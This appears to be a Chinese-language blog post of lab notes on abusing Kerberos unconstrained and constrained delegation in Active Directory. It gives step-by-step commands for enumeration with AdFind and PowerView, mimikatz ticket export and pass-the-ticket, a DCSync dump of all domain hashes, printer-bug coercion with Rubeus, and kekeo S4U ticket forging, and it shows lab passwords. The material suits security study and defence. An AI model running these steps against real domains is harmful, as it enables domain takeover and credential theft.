1. 程式人生 > 其它 >約束性委派和非約束性委派利用

約束性委派和非約束性委派利用

委派分為

  • 非約束委派

  • 約束委派

  • 基於資源的約束性委派

委派具體的概念就不寫了,網上挺多的

查詢非約束委派的方法

需要一個普通域賬號

Adfind.exe 查詢

#查詢域內配置非約束委派的主機

AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

獲得普通域賬號saul的密碼的情況下

AdFind.exe -h 10.10.10.8(域控ip) -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

#查詢域內配置非約束委派的服務賬號

AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306368))(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

powerview查詢

#查詢域內配置非約束委派的主機

get-netcomputer -unconstrained | select dnshostname,samaccountname

獲取非約束委派的服務賬號我用powerview失敗了

非約束性委派利用演示

windows2012:10.10.10.10 域控 ad.superman.com

1、清空票據:klist purge or mimikatz.exe "privilege::debug" "kerberos::purge"

2、模擬域控訪問win2012主機,使之產生票據:powershell執行命令Enter-PSSession -ComputerName user

3、使用獲得shell,需要高許可權,如主機的administrator或者system,這裡我以administrator為例,機器的adminstator。

先使用beacon執行:dir \\ad\c$ 顯示拒絕或者賬號密碼錯誤,沒有截圖,自己試驗下就知道了,ad代表域控的機器名,不固定。

3.1匯出票據:shell mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

3.2通過ptt將票據TGT注入到會話中:由於步驟2已經模擬域控登陸過了,所以直接執行mimikatz:shell mimikatz.exe "privilege::debug" "kerberos::ptt [c;5c5c5dc1][email protected]"

4、重新執行dir \\AD\c$,可以看到可以列印AD機器的c盤資料夾

5、匯出域內所有hash mimikatz lsadump::dcsync /all /csv

上述的過程需要域管理員連線機器,比較被動,結合spooler印表機漏洞可以主動獲得TGT票據

其實在實驗中還測試了服務賬號配置為非約束委派,機器使用者不配置任何委派的情況,為的就是測試服務賬號的非約束委派,當按照上述步驟做的時候發現沒有生成高許可權票據,懷疑是訪問的方式不對,畢竟Enter-PSSession -ComputerName user連線的是機器使用者,而服務賬號的訪問也沒搜到什麼資料如何訪問,所以先擱置吧。

非約束性委派結合spooler印表機漏洞演示

注:機器賬號必須開啟非約束委派,而非服務賬號。

使用SpoolSample,GitHub上面有,也有編譯好的版本

[https://github.com/shanfenglan/test/tree/master/spooler]:

但是我的win2012使用該檔案會報錯,具體原因不知,換了個幾個版本也一樣,可能跟系統有關

由於沒有實驗成功,就腦洞模擬下,以後遇到高人了在請教請教

1、首先確定靶機spooler服務是否正常,預設都是自啟動的;操作的機器需要是被非約束委派的機器賬號

2、使spooler強制傳送驗證,SpoolSample.exe AD win2012 (SpoolSample.exe target機器名 監聽機器名),由於上面說過了我失敗了,就不截圖了。

3、Rebeus監聽模式:Rubeus.exe monitor /interval:1 /filteruser:AD$

也可以使用mimikatz匯出票據 :mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

4、接下來的步驟跟之前的演示一樣,匯入票據,獲取hash,關鍵的還是spooler的二進位制利用程式跑不起來。

查詢約束委派的方法

Adfind.exe查詢

同樣至少需要一個普通域賬號的shell或賬號密碼

#查詢域內配置約束委派的主機賬號

AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

只是機器賬號但有域內賬號密碼的情況下

AdFind.exe -h 10.10.10.10 -u saul -up Openx123.. -b "DC=superman,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

#查詢域內配置約束委派的服務賬號

AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

powerview查詢

(注意使用dev版本https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

#查詢域內配置約束委派的主機賬號

Get-DomainComputer -TrustedToAuth -Domain superman.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto

#查詢域內配置約束委派的服務賬號

Get-DomainUser -TrustedToAuth -Domain superman.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto

約束性委派利用演示

首先一樣,使用沒有任何委派的普通域賬號dir \\ad\c$是拒絕訪問。使用該方法前提是有約束委派賬號的明文密碼或hash

以下實驗為利用約束委派服務賬號的過程

1、清空票據:klist purge

2、請求約束委派服務賬號hack的TGT票據,利用工具kekeo: tgt::ask /user:hack /domain:superman.com /password:Openx123.. /ticket:test.kirbi 或者只有hash的情況下 /ticket

tgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX /ticket:test.kirbi

3、使用s4uself和s4uproxy獲取TGS票據:tgs:s4u /tgt:TGT_hack@Supermanxxxxxxxxxxx(上圖箭頭標註的票據名) /user:[email protected] /service:cifs/ad.superman.com

4、匯入ST票據進記憶體:kerberos::ptt TGS_administrator@supermanxxxxxxx(上圖箭頭標識的票據)

可以看到即使是saul使用者依然可以dir \\ad\c$

以下為拿到域內機器賬號的利用演示

其他步驟一樣,就第二步不同,需要用ntlm獲取TGT票據,拿mimikatz跑一下即可。

後面再學基於資源的約束性委派,那個才是重點。